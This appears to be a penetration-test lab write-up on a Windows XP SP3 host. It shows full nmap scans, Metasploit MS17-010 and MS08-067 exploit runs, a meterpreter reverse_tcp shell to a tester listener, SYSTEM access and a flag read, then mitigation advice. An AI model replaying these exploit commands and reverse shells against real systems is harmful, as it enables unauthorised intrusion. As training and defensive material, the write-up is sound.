

## README.MD

# Pentest 1 - 83 - John - 10.14.1.83

---

## Table of Contents

---

- Introduction
- Testing Environment
- Attack Narrative
- Mitigation
- Conclusion

## Introduction

## Testing Environment

- Kali Linux
- Nmap, Searchsploit, Metasploit
- Methodology
  - Scan, Enumerate Services, Evaluate Vulnerabilities, Attempt to Exploit, Escalate Permissions

## Attack Narrative

Started off scanning

```
sudo nmap -sS 10.14.1.83
```

```
Starting Nmap 7.92 ( https://nmap.org ) at 2023-07-25 19:55 EDT
```

```
Nmap scan report for 10.14.1.83
```

```
Host is up (0.15s latency).
```

```
Not shown: 996 closed tcp ports (reset)
```

```
PORT      STATE SERVICE
```

```
135/tcp   open  msrpc
```

```
139/tcp   open  netbios-ssn
```

```
445/tcp   open  microsoft-ds
```

```
3389/tcp   open  ms-wbt-server
```

Nmap done: 1 IP address (1 host up) scanned in 2.56 seconds

```
sudo nmap -sV -O 10.14.1.83
```

Host is up (0.19s latency).

Not shown: 996 closed tcp ports (reset)

PORT	STATE	SERVICE	VERSION
135/tcp	open	msrpc	Microsoft Windows RPC
139/tcp	open	netbios-ssn	Microsoft Windows netbios-ssn
445/tcp	open	microsoft-ds	Microsoft Windows XP microsoft-ds
3389/tcp	open	ms-wbt-server	Microsoft Terminal Services

Device type: general purpose

Running: Microsoft Windows XP

OS CPE: cpe:/o:microsoft:windows\_xp::sp3

OS details: Microsoft Windows XP SP3

Network Distance: 2 hops

Service Info: OSs: Windows, Windows XP; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows\_xp::sp3

I see RPC, RDP, and SMB were open and the system is using Microsoft Windows XP SP3.

This suggests to me that the latest SMB version supported is 1.0/1.1

There are a number of exploits for Windows XP; I began to evaluate for SMB vulnerabilities.

```
sudo nmap -p 139,445 --script=smb-vuln* 10.14.1.83
```

Starting Nmap 7.92 ( <https://nmap.org> ) at 2023-07-25 20:06 EDT

Nmap scan report for 10.14.1.83

Host is up (0.24s latency).

PORT	STATE	SERVICE
139/tcp	open	netbios-ssn
445/tcp	open	microsoft-ds

Host script results:

```
|_smb-vuln-ms10-054: false
```

```
| smb-vuln-ms08-067:
```

```
|   VULNERABLE:
```

```
|   Microsoft Windows system vulnerable to remote code execution (MS08-067)
```

```
|   State: VULNERABLE
```

```
|   IDs: CVE:CVE-2008-4250
```

```
|       The Server service in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server
|       Vista Gold and SP1, Server 2008, and 7 Pre-Beta allows remote attackers
|       code via a crafted RPC request that triggers the overflow during path ca
```

```
|   Disclosure date: 2008-10-23
```

```
|   References:
```

```
|       https://technet.microsoft.com/en-us/library/security/ms08-067.aspx
```

```

|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4250
|_smb-vuln-ms10-061: ERROR: Script execution failed (use -d to debug)
|  smb-vuln-ms17-010:
|    VULNERABLE:
|    Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|    State: VULNERABLE
|    IDs:  CVE:CVE-2017-0143
|    Risk factor: HIGH
|      A critical remote code execution vulnerability exists in Microsoft SMBv1
|      servers (ms17-010).
|
|    Disclosure date: 2017-03-14
|    References:
|      https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|      https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wa
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143

```

Nmap done: 1 IP address (1 host up) scanned in 6.71 seconds

From the results, I conclude it is vulnerable to `smb-vuln-ms08-067` and `smb-vuln-ms17-010`

Next I wanted to see what searchsploit had for these vulnerabilities:

Checking searchsploit for these:

searchsploit ms17-010

Exploit Title	Path
Microsoft Windows - 'EternalRomance'/'EternalSynergy'/'EternalCha	windows/remote/4
**Microsoft Windows - SMB Remote Code Execution Scanner (MS17-010)	windows/dos/41
Microsoft Windows 7/2008 R2 - 'EternalBlue' SMB Remote Code Execu	windows/remote/4
Microsoft Windows 7/8.1/2008 R2/2012 R2/2016 R2 - 'EternalBlue' S	windows/remote/4
Microsoft Windows 8/8.1/2012 R2 (x64) - 'EternalBlue' SMB Remote	windows_x86-64/r
Microsoft Windows Server 2008 R2 (x64) - 'SrvOs2FeaToNt' SMB Remo	windows_x86-64/r

searchsploit ms08-067

Exploit Title	Path
Microsoft Windows - 'NetAPI32.dll' Code Execution (Python) (MS08-	windows/remote/4
Microsoft Windows Server - Code Execution (MS08-067)	windows/remote/7
Microsoft Windows Server - Code Execution (PoC) (MS08-067)	windows/dos/6824
Microsoft Windows Server - Service Relative Path Stack Corruption	windows/remote/1
Microsoft Windows Server - Universal Code Execution (MS08-067)	windows/remote/6

## Attack 1 ( smb-vuln-ms17-010 )

### Description

I started off attempting smb-vuln-ms17-010 as I believed EternalBlue to be more likely to succeed. My first attempt was unsuccessful as I chose the wrong exploit -

```
msf6 > search ms17-010
```

Matching Modules

=====

#	Name	Disclosure Date	Rank	Check	Des
-	----	-----	----	-----	---
0	exploit/windows/smb/ms17_010_eternalblue	2017-03-14	average	Yes	MS1
1	exploit/windows/smb/ms17_010_psexec	2017-03-14	normal	Yes	MS1
2	auxiliary/admin/smb/ms17_010_command	2017-03-14	normal	No	MS1
3	auxiliary/scanner/smb/smb_ms17_010		normal	No	MS1
4	exploit/windows/smb/smb_doublepulsar_rce	2017-04-14	great	Yes	SMB

Use 4

```
msf6 exploit(windows/smb/smb_doublepulsar_rce) > show options
```

Module options (exploit/windows/smb/smb\_doublepulsar\_rce):

Name	Current Setting	Required	Description
----	-----	-----	-----
RHOSTS		yes	The target host(s), see <a href="https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit">https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit</a>
RPORT	445	yes	The SMB service port (TCP)

Payload options (windows/x64/meterpreter/reverse\_tcp):

Name	Current Setting	Required	Description
----	-----	-----	-----
EXITFUNC	thread	yes	Exit technique (Accepted: '', seh, thread, p
LHOST		yes	The listen address (an interface may be spec
LPORT	4444	yes	The listen port

Exploit target:

```

Id  Name
--  ---
0   Execute payload (x64)

msf6 exploit(windows/smb/smb_doublepulsar_rce) > set lhost ppp0
lhost => 172.16.4.1
msf6 exploit(windows/smb/smb_doublepulsar_rce) > set rhost 10.14.1.83
rhost => 10.14.1.83

msf6 exploit(windows/smb/smb_doublepulsar_rce) > exploit

[*] Started reverse TCP handler on 172.16.4.1:4444
[*] 10.14.1.83:445 - Sending ping to DOUBLEPULSAR
[-] 10.14.1.83:445 - DOUBLEPULSAR not detected or disabled
[-] 10.14.1.83:445 - Exploit aborted due to failure: not-vulnerable: Unable to proce
[*] Exploit completed, but no session was created.

```

From here, I attempted a different version, also to no avail, as the target was x86.

search MS17-010

Matching Modules

=====

#	Name	Disclosure Date	Rank	Check	Des
-	----	-----	----	-----	---
0	exploit/windows/smb/ms17_010_eternalblue	2017-03-14	average	Yes	MS1
1	exploit/windows/smb/ms17_010_psexec	2017-03-14	normal	Yes	MS1
2	auxiliary/admin/smb/ms17_010_command	2017-03-14	normal	No	MS1
3	auxiliary/scanner/smb/smb_ms17_010		normal	No	MS1
4	exploit/windows/smb/smb_doublepulsar_rce	2017-04-14	great	Yes	SMB

Interact with a module by name or index. For example info 4, use 4 or use exploit/wi

```

msf6 > use 0
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options

```

Module options (exploit/windows/smb/ms17\_010\_eternalblue):

Name	Current Setting	Required	Description
----	-----	-----	-----
RHOSTS		yes	The target host(s), see <a href="https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit">https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit</a>

RPORT	445	yes	The target port (TCP)
SMBDomain		no	(Optional) The Windows domain to use for authentication. Only affects Windows Server 2008 R2 and Windows Embedded Standard 7 target machines.
SMBPass		no	(Optional) The password for the specified domain.
SMBUser		no	(Optional) The username to authenticate with.
VERIFY_ARCH	true	yes	Check if remote architecture matches exploit target. Only affects Windows Server 2008 R2, Windows Embedded Standard 7 target machines.
VERIFY_TARGET	true	yes	Check if remote OS matches exploit target. Only affects Windows Server 2008 R2, Windows 7, and Windows Embedded Standard 7 target machines.

Payload options (windows/x64/meterpreter/reverse\_tcp):

Name	Current Setting	Required	Description
----	-----	-----	-----
EXITFUNC	thread	yes	Exit technique (Accepted: '', seh, thread, process)
LHOST	172.16.4.1	yes	The listen address (an interface may be specified)
LPORT	4444	yes	The listen port

Exploit target:

Id	Name
--	----
0	Automatic Target

```
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOST 10.14.1.83
```

```
RHOST => 10.14.1.83
```

```
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit
```

```
[*] Started reverse TCP handler on 172.16.4.1:4444
```

```
[*] 10.14.1.83:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
```

```
[+] 10.14.1.83:445 - Host is likely VULNERABLE to MS17-010! - Windows 5.1 x86
```

```
[*] 10.14.1.83:445 - Scanned 1 of 1 hosts (100% complete)
```

```
[+] 10.14.1.83:445 - The target is vulnerable.
```

```
[-] 10.14.1.83:445 - Exploit aborted due to failure: no-target: This module only supports Windows Server 2008 R2, Windows 7, and Windows Embedded Standard 7 target machines.
```

```
[*] Exploit completed, but no session was created.
```

My last attempt was successful , choosing to use MS08\_067 instead.

```
search ms08-067
```

Matching Modules

```
=====
```

#	Name	Disclosure Date	Rank	Check	Descriptio
0	exploit/windows/smb/ms08_067_netapi	2008-10-28	great	Yes	MS08-067 N

Interact with a module by name or index. For example info 0, use 0 or use exploit/wi

```
msf6 > use 0
```

```
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
```

```
msf6 exploit(windows/smb/ms08_067_netapi) > show options
```

Module options (exploit/windows/smb/ms08\_067\_netapi):

Name	Current Setting	Required	Description
RHOSTS		yes	The target host(s), see <a href="https://github.com/rat-framework/wiki/Using-Metasploit">https://github.com/rat-framework/wiki/Using-Metasploit</a>
RPORT	445	yes	The SMB service port (TCP)
SMBPIPE	BROWSER	yes	The pipe name to use (BROWSER, SRVSVC)

Payload options (windows/meterpreter/reverse\_tcp):

Name	Current Setting	Required	Description
EXITFUNC	thread	yes	Exit technique (Accepted: '', seh, thread, p
LHOST	172.16.4.1	yes	The listen address (an interface may be spec
LPORT	4444	yes	The listen port

Exploit target:

Id	Name
0	Automatic Targeting

```
msf6 exploit(windows/smb/ms08_067_netapi) > exploit
```

```
[*] Started reverse TCP handler on 172.16.4.1:4444
```

```
[*] 10.14.1.83:445 - Automatically detecting the target...
```

```
[*] 10.14.1.83:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
```

```
[*] 10.14.1.83:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
```

```
[*] 10.14.1.83:445 - Attempting to trigger the vulnerability...
```

```
[*] Sending stage (175174 bytes) to 10.14.1.83
```

```
[*] Meterpreter session 1 opened (172.16.4.1:4444 -> 10.14.1.83:1031 ) at 2023-07-25
```

```
meterpreter > getpid
```

```
Current pid: 1012
meterpreter > ps 1012
 1012  680  svchost.exe      x86   0      NT AUTHORITY\SYSTEM      C:\WINDOWS\S
t.exe

meterpreter > shell
Process 412 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>cd C:\Documents and Settings\Administrator\Desktop

C:\Documents and Settings\Administrator\Desktop>type key.txt
type key.txt
hbbja4okjkr1hamuycb
```

## Impact

I was able to gain NT AUTHORITY\SYSTEM which is root for Windows. From here, I could gain persistence, pivot to other internal systems, or any other malicious activities like installing ransomware.

## Mitigation

---

Windows XP has been EOL for many years and SMB for anything but the newest systems is simply insecure. Initial recommendation would be to sunset / deprecate the Windows XP system. If that cannot be done, disabling SMB for this server would be the next step.

## Conclusion

---

Overall, XP is vastly insecure and outdated due to its status as EOL. It has not been supported for years, and is a severe risk to keep / maintain on the network, as many of the vulnerabilities exist unpatched.